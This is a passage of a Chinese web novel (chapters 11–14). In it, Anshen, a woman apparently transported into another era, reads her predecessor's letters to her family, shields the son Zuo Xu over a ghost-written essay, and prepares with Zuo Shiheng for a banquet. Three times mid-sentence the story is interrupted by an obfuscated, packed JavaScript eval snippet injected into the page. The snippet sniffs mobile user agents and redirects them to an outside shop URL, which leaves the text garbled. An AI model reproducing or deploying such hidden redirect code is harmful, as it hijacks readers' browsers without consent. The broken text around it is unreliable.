两人不过方寸,左时珩似乎稍稍用力便能拥她入怀,但他及时松了手,垂在袖间的指骨克制地捏住,略微泛白。 安声囧得无以复加:“左时珩,我说来找你谈正事的你信吗?” “不信。”左时珩莞尔,“只有做坏事时你才这般跌跌撞撞。” 11. 写信 安声说:“哪有做什么坏事?” 竟下意识忽略了他话中的“只道是寻常”。 “偷看。” “我什么也没看到,所以不成立。” 左时珩轻笑一声,略调整了坐姿,靠向椅背,颇有几分闲适慵懒。 “没看到,叫做偷看未遂,又被当场抓获,所以,事实成立。” 安声的确做贼心虚,故而也争辩不了几句,他说得这般笃定,教她更没有底气了,脸不受控地泛红。 “我真是来找你商量正事的,这是个意外,没有要故意偷窥隐私的意思。” “我信。” 安声看他。 他道:“我信你并非故意,不过——” 他将那张信纸拾起来,目光在其上微微一顿,便递给她,笑道:“光明正大地看,便不叫偷看了。” “我……能看?” “为何不行?我这里没有你不能知道的隐秘,只要你问。” 安声的确对信上的内容好奇,他既这般真诚坦荡,自己也无须假意推辞了,便接了过来,仔细浏览。 信中内容琐碎平常,却不太常规。 开头是天气如何,吃了什么,又话题一转说上次在门框上见到只蚂蚁运着吃的,好奇它要去哪儿,于是盯了它半个时辰,最后在花园里发现个大蚁巢,分解了一整块红糖,许多蚂蚁士兵般扛着糖粒来来回回训练有素,站高了看像一幅画。 她突发奇想,是否能用红糖去诱导蚂蚁排出她的名字,还仔细构思了“安声”二字多少笔画,需要多少只蚂蚁,以及可行性。 信的结尾是:想你吻你以及万分爱你,要给我回信。 “这是你妻子写的吗?” “是。” “可是落款……怎么是今天?” “不是今天,是去年的今天。” 安声又看了眼,果然是去年。 她讶异:“可是去年她……” “她不在。”左时珩轻轻点了下头,“我也找不到她。” 灯花哔啵一声,光更暗了些。 似追忆起往事,左时珩的脊背有些僵直,不过神情依然是柔和的。 “阿声消失前,不知何日起,便瞒着我开始写信,她一封一封写,起初的几封用词考究,字迹工整,还有誊抄痕迹,信上的话也很多,后来大约是烦了累了……”他说着唇畔噙起笑,“便随心所欲起来,有时信长,有时信短,甚至会将一件事故意分开几次放在信中讲……也只有她会这般写信了。” “至于落款时间则是不固定的,不过并不敷衍,皆言之有物,每读一遍都觉有趣。” 安声见到的这封,便是左时珩于去年今日才启,安声不准他提前看,他也不舍得提前阅尽,仿佛将信读完,她便彻底消失了一般。 最后一封信是在年初,他大病一场,神思混沌之际,听见岁岁在他床边给他读信,才从梦里挣扎醒来。 “你之前不知道她在写信吗?也没问过?”安声不解。 “我偶然见着几次,她骗我说是练字,不许我看。” 说到此处,他的目光仍停留在安声脸上,笑意越发温和。 “其实我知道她在写信,但并不知是写给谁的,也不知她的用意,因为她常常有异于常人的想法,不过最后总是让人惊喜,故此,我不问,只是期待着。” 左时珩起身,行至书架前,从左手边一格抱了个不大不小的黑漆木盒,盒盖上有螺钿点缀,流光溢彩。 他将木盒放至桌上,打开铜扣,里面是一沓信封。 “这里共有一百五十六封。” “要写许久,许久。” 他气息深重了几分,胸腔内仿佛奔涌着万千情绪,无法言说。 失去安声的五年,若是没有这些信,他大约是坚持不下来的。 即便有岁岁与阿序,他的魂魄也难以齐全。 安声将信纸放入信封,连着信封放入木盒,轻声说:“我明白,这些实在是太珍贵了。” 又再次道歉,说自己不应该看。 “无妨,这些并非什么不可告人的机密。”左时珩笑笑,似为了消解她的压力,又取了一封给她,示意她打开。 安声犹豫着打开,看清内容后扬起笑。 这封信是方才那封信的后续,日期是一月后,信中她说,训练蚂蚁的方法失败了,她怀疑整个蚁群是一个大脑,由蚁后统一指挥,所以下次准备挟蚁后以令诸蚁,非要它们排出“左时珩”三个字不可。 这个抽象的精神状态,和她简直如出一辙。 不过她只会对熟人这般,对外大多维持一个正经人设。 越了解这位“安声”,她便越觉得是“另一个自己”。 但也只能是另一个。 毕竟她不可能二十四岁就结婚十年还拥有两个九岁的孩子,这太离谱了,解释不通。 她读完手中的信便习惯性地看向其他的,指着其中一些信封上的笑脸符号,好奇问:“这些是什么意思?” “是给岁岁和阿序的信。” 左时珩照例不避讳她,又拆了一封。 安声耳根发热,觉得自己很厚脸皮,但索性就厚脸皮到底吧,她是真的好奇。 这一封给左岁的,开口称呼是“岁岁宝宝”,内容不再天马行空,而是温柔细致了许多。 她同女儿提起自己的小学经历,说那时自己很贪玩,老师布置的功课总要最后一天完成,但又气性很大,但凡做不出题,就要生自己闷气。有次被老师批评考试不认真,她放学后直接离家出走了,家人找了她几个小时,险些报警,最后在公园角落里找到她,正一个人边哭边大声背古诗。 她坦诚自己其实离家出走没多久就后悔了,怕家人骂又怕丢脸,所以不敢回去,天黑以后实在害怕,只能背诗壮胆,可谓是自讨苦吃。 她说,宝宝,不要怕犯错,敢于承认积极改正才是最厉害的,不要因为任性去伤害爹爹,他是世上最爱你的人。 安声看这封信看得认真,前面她觉得“安声”同自己的小学经历可谓基本一致,心跳不由快了几分,但后面举的例子她却没印象,便又渐渐放松下来。 待读完后,她有些微微出神。 她想,“安声”写下这封信时,岁岁与阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692016|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序不过三四岁,大约字都认不全,可她信中对女儿的口吻,却是完全平等的,她站在幼年的视角,去共情自己的孩子。 教导她而非责怪她,引导她而非说教她,在孩子成长缺席的五年里,她用一封封信提前履行自己做母亲的责任。 她真的很会当妈妈。 很奇怪,安声未婚未育,甚至不太喜欢小孩,觉得他们吵闹,烦人,竟然在这封信里,与她感同身受了。 左时珩又从中抽了封信给她:“这是给阿序的,他们的笑脸符号不同,是阿声让他们自己‘创造’的。” “咦,这封信怎么是封上的?”安声讶问,“你没打开过吗?” 她手中的信封用蜡封了口,严严实实。 左时珩偏头思索片刻,轻笑:“我知道了,这是阿序自己封的。阿声给岁岁与阿序的信,除非他们同意,否则我不会打开,而他们若是想同自己的娘亲有小秘密,就会将信封起来,再放回盒子里收着。” 安声了然,感叹道:“你很尊重他们,所以他们也信任你。” 否则若不想给爹爹看,便会自己收着了,又何必放心送回左时珩这里来。 至少她小时候日记本连上锁都没用。 左时珩只笑了笑,问她:“还要继续看么?” 安声摇头,她耽误太长时间了,书房内的蜡烛都快要燃尽了,不规则的烛泪上,焦黑的棉芯承托着细长的火焰,摇摇欲坠。 屋内也暗了许多,甚至能望见窗外月光如水,绸缎似的披了进来。 “你原先是来同我说什么事?有关成国公府赴宴吗?” “对。” 安声杏眼微睁,心道真是什么都瞒不过他。 不过她嘴张了张,却吁了口气:“我好像想问很多,一下不知道从哪里问起了。” “别紧张,安声,我是同你一起去的,你尽可以相信我。” 安声抬眸,跌入那片星湖般的璀璨里,他的目光总是温和的,沉稳的,似一座避风港,她不经意闯入,一切狂风骤雨便就此被隔绝在外了。 左时珩的安抚打消了她内心的一点焦虑,于是她点了点头。 左时珩笑道:“不早了,先去睡吧,我今晚会想一想,可能有哪些人到场,明日没有朝会,我在工部衙门两个时辰便回,到家会与你细说。” 他打开门,提了灯:“走吧,我送你回房。” 与他并肩行过连廊,转眼便进了正屋,安声简直疑心这段暗夜的路是否无人时悄悄缩水了,否则怎么短了许多。 可今夜明月皎皎,月光灿灿。 左时珩拢起衣摆,低声道:“晚安,安声。” “晚安。”安声回道。 他转身向来路走去,初春的夜有些潮凉,隐约传来一声低咳。 安声追出去两步,轻声叫住他。 “左时珩。” “嗯?”他转身,抵在唇边的手垂下,耐心等她说话。 安声抿了抿唇,道:“你晚上睡觉,要把门窗关严实了,别吹到冷风。” 他似怔了怔,才轻笑颔首。 “好,我会注意的。” 12. 花开 这夜安声似乎做了个梦,梦里她回到了云水山,冬日的云水山,下着大雪,四处白茫茫,不见天日。 正当她彷徨迷茫时,忽听到左时珩的声音,他在喊她的名字,一声又一声,回荡在空山间,惊起群鸟,落雪簌簌。 安声大声回应他,但他听不见也看不见,她仿佛站在视界之外旁观着视界内的事件发生。 左时珩在山中踽踽独行,遍寻她不见,直至风霜蚀骨,声力渐微,吐血昏厥,为寂寂大雪掩埋于此。 安声从噩梦中惊醒,发呆地望着柔软纱帐顶。 “娘亲。” 正在一旁独自穿衣的左岁听见动静跑过来,在她脸上亲了一口。 安声失焦的双眼恢复神采,深吸一口气坐了起来。 “岁岁,几点了?” “七点。” “七……”安声愣了下,才反应过来,“你娘亲教过你?” 左岁低头系着上衣侧的带子,点头道:“小时候娘亲教我们算术,用的便是时辰法,将一天十二个时辰分成二十四个份,一一对应,等我和哥记住后,就常考我们‘现在几点啦’。” 安声哑然失笑。 可能不是“考”,而是“问”,反正她是记不住对应的时辰,连每次说起生肖排名,还须得从头到尾先背一遍。 “娘亲,你方才做噩梦了么?” 左岁系了个漂亮的蝴蝶结,然后问她。 “嗯……好像是。”安声揉了揉脸,“不过记不清内容了。岁岁会做噩梦吗?” 左岁说:“不知道,因为一觉醒来就忘了。” 安声笑了下,摸摸她头发:“这样很好啊,说明岁岁睡觉很香。” “娘亲若是和爹爹一起睡,兴许就不会做噩梦了呢。” 安声不知怎么回,只得干笑一声。 她掀开被子下了床,从架子上取下外衣,不经意见到窗外院中的海棠尽数绽放了,一时风拂枝摇,花落满地。 等穆诗打水过来服侍她们洗漱后不久,左序便也过来风芜院了,同前几日不同,今次抱了个书箱。 安声方想起,他今日是要回书院的,便问他何时出门,他说用过午膳后,还说爹爹昨日说今日早归家,要检查他的两篇文章。 一道用过早饭后,兄妹俩不知嘀嘀咕咕说了什么悄悄话,又一起去了左时珩的书房,约半个多时辰才回来。 安声并未去打扰他们,而是搬了躺椅在廊下晒太阳。 今日天气极好,晴空万里,她散着头发,盖着毯子,懒洋洋地闭目养神。 等她听见左序叫她时,险些因为太舒适又睡了个回笼觉。 “怎么了?” 见小少年扭扭捏捏,欲言又止的模样,安声不免有些想笑。 左序脸颊泛红,左右环顾,似见妹妹不在,才放心了些。 “娘亲,你看这个。”他递来一封信。 安声看清,有些讶异,这正是昨夜左时珩给她的那一封,只是昨夜用蜡封着,而现在已经打开了。 “要我看?” 左岁点头。 安声接过,表面不动声色,实则十分好奇,很快揽阅罢信件内容。 信里说,若是阿序将来在功课上表现优异,便可酌情应下他一个请求,哪怕爹爹不答应,娘亲也会尽力做到。 原来信里写的是这个,怪不得要封起来不给左时珩看。 安声唇角微弯:“所以,你是要我兑现承诺?” “嗯,娘亲答应的,自然作数。” “那说来听听,你是怎么表现优异的?” 左序挺起胸膛,少年朝气与傲气从那张尚显稚嫩的脸庞上透出来:“娘亲,我已过童试,现是一名秀才,夫子夸我多次少年可期,来年秋闱,我是有资格参加乡试的。” 九岁的秀才! 安声哇了声,毫不掩饰赞叹,望着眼前渐渐长成的白玉般的少年,她莫名生出“与有荣焉”之感,不知是否他唤自己娘亲太多次,她真有些代入了。 “所以阿序要我做什么呢?” 左序纠结片刻,如实相告。 他说爹爹要自己作的两篇文章,题目太难,时间太短,只够他用心作出一篇,另一篇由左岁代写的,他们方才去书房,便是润色改写誊抄,等爹爹回来,若是看不出便罢,若是看出来,定然生气责怪,而他实在有苦难言,希望娘亲帮他。 “娘亲……我不愿爹爹生气,生气伤身,让爹爹失望,我也伤心。” 少年低下脑袋,有些垂头丧气。 安声沉吟,问:“阿序,你不能说的苦衷是正当的吗?” “当然是正当的,不过……告诉娘亲也无妨。” 他贴上前,搂住安声脖子,附耳低语。 安声听完有些疑虑:“江湖神医?靠谱吗?” 阿序坚声:“靠谱,孟先生是我们书院刘夫子的好友,他是一位奇人能士。” 安声想了想,觉得学医没什么不好,也全他一片孝心,便答应了。 “我就知道娘亲最好!”左序一下高兴起来,欲往屋里走去,又想起什么,转身喊她。 安声:“嗯?” 他纠结片刻,摇头:“算了。” 左岁不知何时来的,趴在门框探出脸笑:“哥是舍不得娘亲,下午回书院想要娘亲送。” 左序耳朵瞬间红了,当着妹妹面却是嘴硬:“我没有,我可不像你这般粘人,这么大了还和娘亲睡呢。” “那又怎样?” 左岁提着裙子跨过门框,扑进安声怀里,挑衅,“我就要和娘亲睡。” 左序切了声,说:“我去抄书。”便进屋了。 安声吃瓜看戏,两不相帮。 - 未到午时,左时珩便收拾了桌案,准备离开,不料被同僚一把扯住衣袖,打趣道:“尚书最是劳身勤勉的,怎么今日这般早走?莫非是家里有什么人在等?” 左时珩尚未答话,转眼又来三四位工部官员,他们皆是听了些传言,空穴来风。 只是私下议论不出什么,又捺不住好奇,因今日才从户部要了拨款,便趁着高兴,索性围住上司,问个清楚明白。 传言提到左时珩的夫人安氏当年无故失踪,今又忽然现身。 此事当年便议论纷纷,如今又被重提,且事关这位最是年轻有为的朝堂重臣,难免是非蜂起。 有人迷信说安声死而复生,借尸还魂,乃是异类。 有人则玩笑说左尚书思妻入骨,暗中招魂养鬼。 不过更多是推测,当日左时珩带回家的女子并非原配安氏,而是寻了位容貌相近的替身,只怕人说品行有损, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692017|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私德有亏,招来弹劾,故而金屋藏娇,不敢表露。 此点有人为证,户部侍郎申哲原话说:“匆匆一瞥我也没看清,就是望着比原来那位左夫人年轻一些。” 消失五年,竟还更年轻? 奇也怪哉。 因此断言,两女绝非一人。 面对同僚七嘴八舌,左时珩倒是淡定:“看来工部衙门里还是闲了些。” “此乃我家事,不便同诸君议论。” 他语气严肃,却未见愠色,反倒神情怡然,推开众人后,抚平衣袖折痕,抬脚便走。 不过行至门口,又微微侧身望向众人,浅笑。 “也不必妄加揣测,只是我久行远方的妻子如今缓缓归矣。” 左时珩到家时,正是丽日当空,艳阳璀璨,官袍被照得发暖,透入肌理,将经年淬骨的寒都蒸了出来。 他脚步愈发轻快,迫不及待地回了风芜院。 安声正在海棠树下,仰着脑袋看什么,一身浅粉织锦衣裙,几与海棠同色。 左时珩原先加快的步伐陡然停下,眸中淡然化为柔情,满腔爱意犹如浪潮迭起。 未发一言,不敢靠近,实则是因失了冷静。 不过千般万般克制,情绪才勉强压下心底,温柔道了声:“安声,我回来了。” 安声蓦然转头,朝他一笑,俄而风起,落英纷纷。 她鬓边别了枝海棠,花瓣拂过发丝轻落肩头,衬得她愈发明眸皓齿,明媚可爱。 她说:“左时珩,院里真的有蚂蚁搬家。” 左时珩走近,她便指给他看,不过一个不留神,蚂蚁不知爬到哪里去了,她懊恼地说刚刚真的有蚂蚁,让他快去检查一番后院厨房的红糖。 率真自然,真是让他喜欢得要命。 左时珩眼底含笑,说好,抬手拾去她肩上的落花。 安声下意识转头,取下鬓边花枝:“哦,这个掉的。” 正巧左岁与左序皆出来迎他,她顺手将花枝别在了左岁的发髻上:“好看好看。” 左序便道:“娘亲,我也要,‘江南无所有,聊赠一枝春’,我离家要携一枝风芜院的海棠走。” 他说得一本正经,不过是为争风吃醋,安声忍不住笑,并不去戳破他的小心思,也折了枝递给他。 左岁见状道:“我们都有了,爹爹也要有。” 当着孩子面,那仿佛有些暧昧了。 安声心下尴尬,正犹豫间,左时珩已俯身朝女儿笑道:“爹爹已有了。” 他伸出手,掌心赫然是方才安声肩上飘落的花瓣。 安声一时发怔,但见他君子端方,温润如玉,心跳忽然快了几步。 左时珩起身对左序道:“将你的文章拿上,跟我到书房来。” 说罢又朝安声颔首:“我先去换身衣裳。” 左序用花枝悄悄扫过安声手背,以示约定提醒。 安声来不及寻什么理由,脱口而出的话未经大脑:“我帮你。” 这话听着容易有歧义。 两个孩子不明就里,两位成年人却心照不宣。 安声恨不得挖个坑把自己种在海棠花边上……硬着头皮挽救道:“我是说……帮你看阿序的文章……” 左时珩语调悠然,颇有调侃之意:“既如此……那便来吧。” 13. 训斥 安声脚步飘飘地跟着左时珩去了书房。 左时珩进屋后往右走,到平日歇的那张软榻旁站定,榻尾置了个架子,上面挂着几件常换洗的便服。 他平日衣着大多颜色淡雅,浅青,灰蓝,月白等,唯有官服加身,才是一袭绯红,艳丽张扬,却十分衬他,连气色都好上许多,实在是传说中面若冠玉,举世无双的状元郎。 而脱下象征权力品级的官服后,换上清冷雅致的常袍,却更显出他本人的柔和温润来,像一块美玉。 安声见他自顾去解革带,忙尴尬转身,正巧这时左序拿着两篇文章进来,唤了声“爹爹”,左时珩一应,安声跟着下意识回头。 左时珩已脱下官服官帽,里面却还有一身贴身的白色中衣,阳光透过窗棂静照,他背对着站在光下,显出模糊的宽肩与腰身来。 他本就生得高,又挺拔,虽因病弱消瘦了些,一副骨架仍是优越。 他抬手取下架子上一件烟青外袍时,似要往门口方向侧眸,安声瞬间心虚,立即将脑袋转回去,佯装淡定地问了声:“好了吗?” 左时珩虽未转首,余光却将她的小动作尽收眼底,唇边不由浮起浅笑,干净利落地换完。 “好了。” 安声这才松了口气,心内腹诽自己总着眼于他的美色,真是很不沉稳。 左时珩走过来,接了左序递上的两篇文章,未看,却先笑道:“安声,我们各自看一篇吧。” “我吗?”安声心里叹气,慢慢走了过去,心道人果然不能撒谎,因为圆谎太麻烦,不圆的话又太没面子。 不过八岁孩子的作文应该难不到哪去吧。 她如此安慰自己,便拿了一篇准备认真赏读。 文言文…… 左序小声对她道:“娘亲,你这篇题目是取自《礼记》中的一句‘大德不官,大道不器,大信不约,大时不齐’,爹爹那篇是‘原浊者流不清’。” 《礼记》,安声轻叹,她知道礼记,礼记却不知道她。可能语文有学过其中的文章?她完全记不得了。 便是这四句,她理解起来也有些困难,何况是评一篇以此为中心论点的文章。 书房内立时静了下来。 左时珩看得很快,眉峰微微蹙起,左序简直紧张到不敢呼吸。 他拿着文章行至案后,因桌上无墨,便用朱笔批了,招了左序过去,佳处褒,错处改,不偏不倚,整体虽不大满意,却也语调温和地肯定了一番,说以他如今水准,尚可过得去。 待两人说完,左时珩目光便落向安声这边,严肃的神色转为松弛,眉间眼底尽是笑意:“看的如何?” 安声双手持文,诚恳递上:“左大人,我看不懂。” “看来这篇很难啊。”左时珩语气认真,可安声总觉得他依然在看破不说破的调侃。 安声羞赧:“是我水平有限,我一个学士看不了秀才的文章。” 左序震惊:“娘亲是大学士?” 安声:“的确是大学,也的确是学士……但不要连起来。” 左时珩听罢低笑着,用朱笔批改起来,才看了几句,忽然眸色一凝,笑意散去。 他看向左序,笔尖顿住:“这篇是你写的?” 左序呼吸一滞:“……是。” 左时珩不语,搁下笔,向椅背上靠了。 他静静望着少年,右手手指在文章纸面上轻敲,又问了一遍。 “左序,这篇是你写的?” 他神情淡淡,看不出喜怒,一双眼犹如点漆,让人莫敢直视。 左时珩不愧是久居高位,无须多言,便有一股上位者的威严,气氛骤然紧张,房中静到针落可闻,连安声都不由身体微僵,心跳加速。 她恍惚记起儿时课堂上挨训的自己。 班主任严肃问:“作业呢?” 她说:“没带。” 班主任又问:“没带还是没写?” 她抠着手,不敢说话。 先前还在安声面前表现得成熟稳重,连哭都要偷偷背过身的少年,这会儿豆大的眼泪一颗颗的无声掉落。 他无措地站在父亲面前,说不出一句辩解的话。 左时珩收回视线,在文章上又扫了一眼,语气依旧平静。 “去把左岁叫来。” 左序泪眼婆娑地望向安声,抽噎不停。 左时珩难得严肃:“没人能帮你,现在就去。” 安声不得不在此时做点什么来履行承诺了。 她双手扶住左序的肩膀,将他僵在原地的身躯往自己这边带了几步,轻声说:“下次做不完就只做一篇好了,骗人不对,先跟爹爹道歉。” 左序哽咽着:“爹爹……对……对不起……下次……不会了……” 左时珩面无表情:“这是原则问题,学问不端,品德有亏,错在自身,与我道歉无用。” 安声从他桌上将两篇文章抽回来,放到左序手上:“去找岁岁吧,你们自己反思一下,这里交给我。” 左时珩看向她,欲言又止。 左序有些不敢,但见父亲并未出声阻止,便战战兢兢地走了。 他一走,安声也松了口气。 左时珩手蜷了蜷,摇头。 “安声,你不应这样偏袒。” 安声说:“我虽然不是他真正的娘亲,但也不是无故偏袒,我是有原因的,只是不能告诉你。” “又是你们之间的小秘密?” “对。” 左时珩望向她,片刻后无奈笑了笑,神色也转为柔和。 “罢了,虽不知是什么原因,但你的理由总能说服我。” 安声双手扶住桌沿,隔着桌案向他稍稍倾身。 “不过左时珩,我还是想温馨提醒一下,人是铁,饭是钢,不要在饭前凶孩子,这样会很影响他们的食欲。” “我……很凶吗?” “很凶,你喊他大名时,我都跟着不敢呼吸了。” 安声未扎起的长发滑至身前,轻轻摇晃,左时珩捏住掌心,方克制住替她挽起鬓发的冲动。 他转头去瞧铜壶滴漏,分走心神:“的确到用午膳的时辰了,你的食欲方才受到我影响了吗?” 安声道:“我已经长大,不怕影响。” “那便好,走吧,我们去吃饭。” 左时珩全然恢复了原先的温和,那股令人心悸的威严消散一空。 安声扯住他衣袖:“左时珩,待会儿在饭桌上也不要训他们,让他们好好吃饭。” 左时珩笑道:“好,听你的。” 左时珩虽是个言必信诺必行的君子,但因此事到底还是对阿序岁岁影响不轻,两人都不敢说话,只是默默夹着面前的菜。尽管安声努力想让气氛轻松些,也收效不大。 原先还不舍得离家的左序因做错了事,不敢面对爹爹,便也不提要安声送了,饭后收拾了书箱包袱,随管家乖乖坐上了去书院的马车。 岁岁则是主动来找爹爹道歉,左时珩虽因答应了安声,没再训斥责怪,只照例认真改完了她那一篇,让她拿回去看,但岁岁还是掉了眼泪,哭得让人心疼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692018|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一向疼爱女儿的左时珩在这种问题上没有让步,垂眸问她:“哭是觉得委屈吗?” 左岁摇头:“是觉得做错了事,让爹爹生气。” 左时珩这才语气缓和,用帕子给她拭泪。 “谁都会犯错,有错就改,爹爹不会生气。” 左岁认真点头,说娘亲教过这个道理。 这话让安声想起那封信,每位家人都在认真对待“安声”,从来没有一刻忘记她。 午后她陪岁岁说了会儿话,等她小憩后,她便又回到书房,同左时珩商量起昨夜未说完的“正事”。 左时珩是个极细心之人,很多事与她说的简单明白。 介绍了成国公府的荣荫,家族,又说起几位当家人的性子,还顺带提了些常去参加这种宴会的达官显贵。 后来他说阿声不怯这种场合,第一次随他进宫赴宴时,便敢直视圣颜,面对群臣亦是率真大方,比他还要从容。 当今圣上当年尚未登基还是太子,先皇病重,太子代为主持殿试,后钦点他为状元,宫宴后,又特意邀他们夫妻二人进内廷叙话,彼时的太子妃十分喜爱她,说她与众人不同,言谈举止间不流尘俗,又赞她在许多事上的见解独特,让她耳目一新,要她日后多进宫陪她闲聊。 在京不过五年,安声便有多位手帕之交,譬如刑部尚书陈大人的夫人,工部左侍郎张大人的夫人,还有永国公府以及荣安侯府的夫人小姐,也都与安声私交甚好。 左时珩笑起来,语气也一并温柔:“凡是与阿声相处过的,没有不喜欢她的。” 安声默默听着,心道难怪左时珩这么念念不忘。 她觉得自己应当做不到那个份上,她第一次来到这个陌生世界,虽说对许多事好奇大于害怕,但好奇心褪去之后,这终归是个等级森严的封建时代。 她无意闯入,是异类,她甚至会在睡前胡思乱想,自己有一日若是被人发现穿越者身份,会不会像电视剧里那样,被当作异端邪说烧死。 她还会想,那位“安声”去哪儿了呢?她是回到了自己的世界,还是被这个世界“清除”了呢。 安声坐在椅子上,耷拉着脑袋。 与左时珩聊完,对这个世界认知更多一点点后,她反而有些后悔撺掇左时珩带她一起赴宴了。 或许待在这座宅邸里才是最安全的,直到她找到回去的办法。 她叹了口气。 真是太荒诞了。 与左时珩约定的明明是“安声”,为何在云水山左时珩见到的却是她呢。 左时珩定定望着她,长睫敛着眼底毫不掩饰的心疼与爱意。 她坐在那儿,看起来很无措,仿佛那天在云水山一样。 何时他才能放肆地牵她的手,将她拥入怀中,再告诉她,他与她说的每一件事,从来不是别人,都是她。 “安声。”他轻唤。 “嗯?”她抬起头。 左时珩忽然问:“刑部的陈尚书是《大丘律》主要编纂者,你猜他叫什么名字?“ “什么?”安声懵懵摇头,左时珩思维跳跃地真快,怎么突然问了个奇怪的问题。 “他叫陈律。” “陈律。”安声念了一遍,蓦然笑出声,“他应该叫陈律师。” 左时珩一本正经:“嗯,他也在受邀之列,明日我们见到他时,可以礼貌询问,问他有无兴趣改个名字。” 安声被他逗笑,方才一堆的胡思乱想瞬间抛至脑后,又重新期待起明日的赴宴来。 “左时珩,做你的同僚也挺辛苦的。” 14. 赴宴 翌日安声准备着与左时珩去成国公府赴宴事宜,其实无甚准备的,就是询问了左时珩意见,从衣柜里挑出件适合这种场合的衣裳,再峨眉淡扫,轻点朱唇,最后由穆诗挽个漂亮发髻。 “我看起来好端庄。”安声望着铜镜。 “夫人生得好,几年不见,倒比之前还要年轻,一点不像有两个孩子的人,真是一位神医。”穆诗感叹。 她们都以为安声消失不见,是她五年前得了绝症,悄悄跟了一位神医隐世治病去了,故而连左时珩也找不到。 这是安声自己编的对外的说辞。 她同左时珩讲时,他本不太同意,觉得“病重”不好,是她坚持,说这样还可以顺便解释自己“失忆”的事。 赴宴是下午,故而他们是用了早午饭再出门,不过临走前,那位邻居国舅冯敬先来拜访,说是想和左时珩一道前去。 其实左时珩不大愿意,盖因这位国舅出行实在高调,他不习惯,不过仍是在前厅接待了他。 闲聊一番后,冯敬搁下茶杯直言问起:“尊夫人呢?我听说她回家了?这下左大人你可好了,再也不怕文安侯夫人了,日后身子也好好将养,年纪轻轻尚不足而立,还不比我这五十的人健朗呢。” 冯敬爱热闹,善交际,没事就在京中各处溜达,有什么宴会必有他的身影,虽无官职,却有个贵妃女儿,因此无论大小官员都愿意请他的客,或无大用,勉强也算个门路。 那边左时珩前一日才向工部同僚承认了夫人归家一事,这边冯敬就已知道了,正好借着同去赴宴的名头上门打听打听。 见左时珩未及时回答,他又道:“说起来安夫人与我还有一番交情呢,当年某次赴宴路上偶遇你们夫妻,她赞我车马奢丽,又提及曾见过有位官员外出坐的轿子要三十二人抬,建议我效仿,虽不敢太过逾矩,也造了顶十二人抬的轿子,坐着确实风光,真是要感谢她。” 左时珩:“……” 这事他记得,不过看来这位国舅爷没分清安声是正话还是反话。 又东拉西扯了几句,左时珩找借口将他礼貌请出了门。 回到后院时,安声已梳妆完毕,乌鬟挽就,玉簪斜插,步摇轻轻摇曳,光影在略施粉黛的眉眼间碎金浮动,又一袭妃色织金褶裙,一双月白云纹珍珠缎鞋,实在光彩照人,恍若神妃仙子。 已是许久不见妻子这般打扮,左时珩看得痴了,一时怔在那里。 安声略不自在,问他:“这样,还行吗?” 左时珩回过神,注视着她双颊两片绯红笑道:“嗯,很漂亮。” 临出门前,左岁还给她手里递了把团扇,她一摇一摇,走了两步,感觉对了。怪不得说人靠衣装呢,她这样一装扮,自信倍增。 马车停在大门,挂了写着“左”字的灯笼,表明主人家的身份,后头另跟着一辆马车,是服侍的丫鬟婆子,以及提前备的小礼。 他们出来时,仆从们齐声给他们行礼,安声下意识往左时珩身旁靠了靠,左时珩轻碰了碰她手背,低声道:“无妨,只是在外面会如此。” 安声点头,小声解释:“只是一下没反应过来。” 这些下人她都不怎么眼熟,他们都住在外院,唯有穆家人带着洒扫或帮忙时才进到内院来。 左时珩寒门出身,凡事亲力亲为得多,安声来自现代社会,更不习惯尊卑分明,他们教育孩子亦是以独立自理为主,不惯他们骄纵的脾性。 只是偌大的宅邸须人洒扫维护,左时珩的身份涉及朝廷颜面,也须相应配置,否则只怕家里还要清静得多。 下人在马车旁放好脚凳,安声提着裙摆,被左时珩相扶着,端庄沉稳地步入马车,不过一进去就原形毕露了。 左时珩弯腰进来放下帘子,见她抱膝坐在软褥上,不禁一笑。 车内宽敞,铺了毯子,点着香炉,煮着茶水,一旁还置了架子,放了些书,安声仔细打量了圈,觉得无论什么年代,都是有钱人会享受。 马车动起来,速度不快,且京城内城的地面砖石齐整干净,所以比他们从城外回程时平稳舒服许多,小桌上的茶水都不会洒。 去程约小半个时辰,左时珩捧了卷书,却无心看,余光望着她像只猫儿般,好奇地上下探索,不自觉唇角轻扬。 过会儿,她寻到宝藏似的,欣喜道:“左时珩,别看书了,我找到两盒棋子,我们来下棋打发时间吧。” 他总算能正大光明地看她:“也好。” 棋盘刻在一片木板上,贴着角落放,左时珩拾起清了清灰,摆在她面前。 安声从背后取了个软垫给他,让他也坐下,又问他要黑子还是白子,他说都好。 安声便选了黑子,将白棋盒给他,然后在星位下了第一手:“那我就不客气了。” 左时珩颔首,落了白子。 